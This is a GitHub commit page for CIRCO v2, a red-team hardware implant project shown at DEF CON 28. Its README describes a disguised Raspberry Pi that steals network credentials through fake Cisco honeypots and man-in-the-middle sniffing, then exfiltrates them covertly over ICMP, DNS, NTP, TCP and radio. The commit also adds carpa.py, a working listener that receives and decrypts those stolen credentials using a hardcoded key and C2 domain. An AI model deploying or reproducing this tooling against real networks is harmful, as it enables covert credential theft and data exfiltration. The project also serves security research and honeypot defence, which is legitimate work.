Skip to content

Commit

Permalink
CIRCO v2 DEF CON 28 Demo Labs
Browse files Browse the repository at this point in the history
  • Loading branch information
ekiojp committed Aug 7, 2020
1 parent 5d6591e commit 4737498
Show file tree
Hide file tree
Showing 56 changed files with 7,663 additions and 2 deletions.
2 changes: 2 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
venv
__pycache__
156 changes: 154 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,8 +1,160 @@
[![Black Hat Arsenal](https://rawgit.com/toolswatch/badges/master/arsenal/asia/2019.svg)](http://www.toolswatch.org/2019/01/black-hat-arsenal-asia-2019-lineup-announced)

# CIRCO

## Cisco Implant Raspberry Controlled Operations

## Red Teams
Designed under Raspberry Pi, we take advantage of “Sec/Net/Dev/Ops” enterprise tools to capture network credentials in a stealth mode.
Using a low profile hardware & electronics camouflaged as simple network outlet box or PSU injector to be sitting under/over a desk.
CIRCO include different techniques for network data exfiltration to avoid detection.
This tool gather information and use a combination of honeypots to trick Automation Systems to give us their network credentials!
In `bridge` mode, you can also sniff (MiTM) credentials/hashes from an IP-Phone and PC cascade to the phone.

## Blue Teams
The perfect and cheapeast way to deploy a Cisco honeypot, just deploy either using Raspberry or any other hardware on the network and integrate logging/alarms to your SOC.
Could be sitting outside, inside or DMZ of your network.


----

## Hardware

The specific hardware will depend on size and features you want, as an example, you can run CIRCO on a Raspberry Pi Zero without Wireless Extraction feature or you could be using a Raspberry Pi 3B with a wireless dongle.

The main constrain could be physical space to fit CIRCO.

You will also need some Cat 5 twisted cable, pliers, RJ45, soldering/desoldering tools, wires, glue-gun, zip-ties, etc

Be creative!

---

## Software

There are 3 main elements that make CIRCO:

- The implant main program called `circo.py` to be deployed in the Raspberry Pi hardware
To emulate a Cisco Switch SNMP Agent, we are using forked version of [snmposter](https://github.com/ekiojp/snmposter)

- To receive extracted credentials via different techniques, we use `carpa.py` on an Internet Server, as long is has a public IP and no firewalls in front preventing traffic to reach it.
We also need a domain pointing NS records to our public IP

- Specific for wireless or SDR exfiltration we have `jaula.py`, this can run on a laptop with a Wireless adaptor supporting `monitor mode`, also an SDR receiver (like RTL-SDR, HackRF, etc)

All packet manipulation and crafting is been done mainly with [Scapy](https://github.com/secdev/scapy) as it has enough flexibility with some exceptions (did I say I hate DHCP handshake?)

CIRCO v2 has been coded in Python 3.7

----

## Installation

The [Wiki](https://github.com/ekiojp/circo/wiki) has step-by-step instruction to install it

----

## Usage

Examples/Screenshots/Videos added to [Wiki](https://github.com/ekiojp/circo/wiki)

---

# Credentials Exfiltration Format

We use `t` (*telnet*), `s` (*ssh*) and `p` (*snmp*) to identifiy the protocol used for the credentials obtained via honeypots.

For Telnet/SSH `enable` passwords we `e` as 2nd key identifier

honeypots came from, to save bits the Dotted IP format has been converted to Hex
The exfiltration programs `carpa.py` or `jaula.py` will convert back to Dotted
IP format before display/writing output file

From version 2, we sniff credentials using [Net-Creds](https://github.com/DanMcInerney/net-creds) and also capture SIP hashes

### Telnet
```
t,<user>,<password>,<src_ip>
t,e,<enable>,<src_ip>
```

### SSH
```
s,<user>,<password>,<src_ip>
s,e,<enable>,<src_ip>
```

### SNMP
```
p,<community>,<src_ip>
```

### [Net-Creds](https://github.com/DanMcInerney/net-creds)
```
n,<credential/hash>,<dst_ip>
```

### VoIP
```
v,<hash>
```

----

# Presentations

[DEF CON 28 Demo Labs (Aug-2020)](https://media.defcon.org/DEF%20CON%2028/DEF%20CON%20Sage%20Mode%20demo%20labs/DEF%20CON%20Safe%20Mode%20Demo%20Labs%20-%20Emilio%20Couto%20-%20CIRCO%20v2.pdf)

[AV Tokyo HIVE (Nov-2019)](https://speakerdeck.com/ekio_jp/circo-av-tokyo-2019)

[Code Blue Bluebox (Oct-2019)](https://speakerdeck.com/ekio_jp/circo-code-blue-2019-bluebox)

[HITB GSEC Armory (Aug-2019)](https://speakerdeck.com/ekio_jp/circo-hitb-gsec)

[Def CON 27 Packet Hacking Village (Aug-2019)](https://speakerdeck.com/ekio_jp/circo-def-con-27-phv-11-aug-2019)

[Def CON 27 Demo Labs (Aug-2019)](https://speakerdeck.com/ekio_jp/circo-def-con-27-demo-labs)

[Hackers Party Booth (Jul-2019)](https://speakerdeck.com/ekio_jp/circo-hackers-party)

[BlackHat Asia Arsenal (Mar-2019)](https://speakerdeck.com/ekio_jp/circo-blackhat-asia-2019-arsenal)

[濱せっく / HamaSec (Feb-2019)](https://speakerdeck.com/ekio_jp/circo-hamasec-feb-2019)

[YOROZU SECCON (Dec-2018)](https://speakerdeck.com/ekio_jp/circo-yorozu-seccon-2018)

[HIVE AV Tokyo (Nov-2018)](https://speakerdeck.com/ekio_jp/circo-hive-av-tokyo-2018)

----

# ToDo

- [ ] Automatic Installation script (circo/jaula/carpa)
- [ ] Include implant ID on exfiltration
- [ ] Work on No-DHCP module
- [ ] Migrate net-creds to python3
- [ ] Code new SNMP agent in python3
- [ ] Extra exfiltration methods
- [ ] Deploy Blue Team mode
- [ ] Make the code much more nicer

----

# Disclaimer

The tool is provided for educational, research or testing purposes.
Using this tool against network/systems without prior permission is illegal.
Radio waves are regulated per each country, before any radio wave transmission, make sure you complain within your country regulations (power, frequencies, bandwidth, etc.)
The author is not liable for any damages from misuse of this tool, techniques or code.

----

# Author

Emilio / [@ekio_jp](https://twitter.com/ekio_jp)

----

CIRCO v2 code will be pushed Aug 7th, stay tune!
# Licence

Please see [LICENSE](https://github.com/ekiojp/circo/blob/master/LICENSE).
209 changes: 209 additions & 0 deletions carpa.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,209 @@
#!/usr/bin/env python3
import re
import sys
import time
import queue
import argparse
import pyaes
import pyscrypt
from pyfiglet import Figlet
from scapy.all import *

from modules.recv.ping import PINGModule
from modules.recv.trace import TRACEModule
from modules.recv.tcp import TCPModule
from modules.recv.ntp import NTPModule
from modules.recv.dns import DNSModule
from modules.recv.faraday import Faraday

# Me
__author__ = "Emilio / @ekio_jp"
__version__ = "2.020"

# Config
PHRASE = 'Waaaaa! awesome :)'
SALT = 'salgruesa'
CONF = {'DEBUG': False,
'CCNAME': 'evil.sub.domain',
'MAGIC': 666,
'SEED1': 1000,
'SEED2': 5000,
'SEED3': 8000
}

FCONF = {'FSERVER': 'http://127.0.0.1:5985',
'FWS': 'demo',
'FUSER': 'faraday',
'FPASSWD': 'changeme'
}

# Define Funtions
def decrypt(ciphertxt):
key = pyscrypt.hash(PHRASE.encode(), SALT.encode(), 1024, 1, 1, 16)
aes = pyaes.AESModeOfOperationCTR(key)
cleartxt = aes.decrypt(bytes.fromhex(ciphertxt))
return cleartxt.decode()

def hextoip(ip):
n = 2
return '.'.join([str(int(ip[i:i+n], 16)) for i in range(0, len(ip), n)])

def printer(fd, text):
print(time.strftime("%Y-%m-%d %H:%M:%S ", time.gmtime()) + text)
find = re.compile('\\b' + text + '\\b')
with open(fd, 'a+') as sfile:
with open(fd, 'r') as xfile:
m = find.findall(xfile.read())
if not m:
sfile.write(time.strftime("%Y-%m-%d %H:%M:%S ",
time.gmtime()) + text + '\n')

def parsingopt():
f = Figlet(font='standard')
print(f.renderText('CARPA'))
print('Author: {}'.format(__author__))
print('Version: {}\n'.format(__version__))
parser = argparse.ArgumentParser()
parser.add_argument('-v', '--verbose', action='store_true', help='Enable Debugging')
parser.add_argument('-i', required=True, metavar='<eth0>', dest='nic', help='Sniff Interface')
parser.add_argument('--tcp', required=True, dest='tport', metavar='80', help='TCP exfiltration')
parser.add_argument('-f', '--faraday', action='store_true', help='Faraday Integration')
parser.add_argument('-l', required=True, metavar='<logfile>', dest='fd', help='Log File')
if len(sys.argv) > 1:
try:
return parser.parse_args()
except(argparse.ArgumentError):
parser.error()
else:
parser.print_help()
sys.exit(1)

# Main Function
def main():
options = parsingopt()

ping_q = queue.Queue()
trace_q = queue.Queue()
tcp_q = queue.Queue()
ntp_q = queue.Queue()
dns_q = queue.Queue()

if options.verbose:
CONF['DEBUG'] = True

CONF['IFACE'] = options.nic

# PING Thread
pingdh = PINGModule(ping_q, CONF)
pingdh.daemon = True
pingdh.start()

# TRACE Thread
tracedh = TRACEModule(trace_q, CONF)
tracedh.daemon = True
tracedh.start()

# WEB Thread
tcpdh = TCPModule((tcp_q, int(options.tport)), CONF)
tcpdh.daemon = True
tcpdh.start()

# NTP Thread
ntpdh = NTPModule(ntp_q, CONF)
ntpdh.daemon = True
ntpdh.start()

# DNS Thread
dnsdh = DNSModule(dns_q, CONF)
dnsdh.daemon = True
dnsdh.start()

# Faraday Thread
if options.faraday:
FCONF['FILE'] = options.fd
faradh = Faraday(FCONF)
faradh.daemon = True
faradh.start()

print('Listening.....')
# Running loop
try:
while True:
if not ping_q.empty():
(data, srcip) = ping_q.get()
method = 'PING'
if data == CONF['MAGIC']:
printer(options.fd, method + ':' + srcip + ':Alarm')
else:
cleartxt = decrypt(data)
if cleartxt.startswith('v,') or cleartxt.startswith('n,'):
cleartxt = method + ':' + srcip + ':' + cleartxt
else:
hexip = cleartxt.split(',')[-1]
cleartxt = method + ':' + srcip + ':' + cleartxt.replace(hexip, hextoip(hexip))
printer(options.fd, cleartxt)
elif not trace_q.empty():
(data, srcip) = trace_q.get()
method = 'TRACE'
if data == CONF['MAGIC']:
printer(options.fd, method + ':' + srcip + ':Alarm')
else:
cleartxt = decrypt(data)
if cleartxt.startswith('v,') or cleartxt.startswith('n,'):
cleartxt = method + ':' + srcip + ':' + cleartxt
else:
hexip = cleartxt.split(',')[-1]
cleartxt = method + ':' + srcip + ':' + cleartxt.replace(hexip, hextoip(hexip))
printer(options.fd, cleartxt)
elif not tcp_q.empty():
(data, srcip) = tcp_q.get()
method = 'TCP_' + options.tport
if data == CONF['MAGIC']:
printer(options.fd, method + ':' + srcip + ':Alarm')
else:
cleartxt = decrypt(data)
if cleartxt.startswith('v,') or cleartxt.startswith('n,'):
cleartxt = method + ':' + srcip + ':' + cleartxt
else:
hexip = cleartxt.split(',')[-1]
cleartxt = method + ':' + srcip + ':' + cleartxt.replace(hexip, hextoip(hexip))
printer(options.fd, cleartxt)
elif not ntp_q.empty():
(data, srcip) = ntp_q.get()
method = 'NTP'
if data == CONF['MAGIC']:
printer(options.fd, method + ':' + srcip + ':Alarm')
else:
cleartxt = decrypt(data)
if cleartxt.startswith('v,') or cleartxt.startswith('n,'):
cleartxt = method + ':' + srcip + ':' + cleartxt
else:
hexip = cleartxt.split(',')[-1]
cleartxt = method + ':' + srcip + ':' + cleartxt.replace(hexip, hextoip(hexip))
printer(options.fd, cleartxt)
elif not dns_q.empty():
(data, srcip, method) = dns_q.get()
if data == str(CONF['MAGIC']):
printer(options.fd, method + ':' + srcip + ':Alarm')
else:
cleartxt = decrypt(data)
if cleartxt.startswith('v,') or cleartxt.startswith('n,'):
cleartxt = method + ':' + srcip + ':' + cleartxt
else:
hexip = cleartxt.split(',')[-1]
cleartxt = method + ':' + srcip + ':' + cleartxt.replace(hexip, hextoip(hexip))
printer(options.fd, cleartxt)

except KeyboardInterrupt:
pingdh.join()
tracedh.join()
tcpdh.join()
ntpdh.join()
dnsdh.join()
if options.faraday:
faradh.join()
sys.exit(0)

# Call main
if __name__ == '__main__':
main()
Loading

0 comments on commit 4737498

Please sign in to comment.